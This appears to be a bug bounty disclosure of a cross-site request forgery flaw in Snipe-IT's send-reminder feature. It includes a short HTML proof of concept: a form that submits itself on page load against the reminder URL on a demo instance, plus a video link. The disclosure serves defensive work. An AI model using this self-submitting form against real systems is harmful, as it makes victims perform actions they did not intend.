CSRF in Send Reminder

2023-10-0717:02:32

hainguyen0207

www.huntr.dev

csrf

send reminder

proof of concept

attacker

victim

video poc

bug bounty

0.001 Low

EPSS

Percentile

24.3%

JSON

Description

CSRF in Send Reminder

Proof of Concept

1 .Attacker sent form fake to victim

&lt;html&gt;
   &lt;body&gt;
     &lt;form action="https://demo.snipeitapp.com/reports/unaccepted_assets/4/sent_reminder"&gt;
       &lt;input type="submit" value="Submit request" /&gt;
       &lt;/form&gt;
       &lt;script&gt;
         history.pushState('', '', '/');
         document.forms[0].submit();
       &lt;/script&gt;
     &lt;/body&gt;
   &lt;/html&gt;

2 .Victim click, execute send reminder unexpected

Video Poc

https://drive.google.com/file/d/1ei_bfxIbACA6DWObg2bjZjJBiqTPlwWd/view?usp=sharing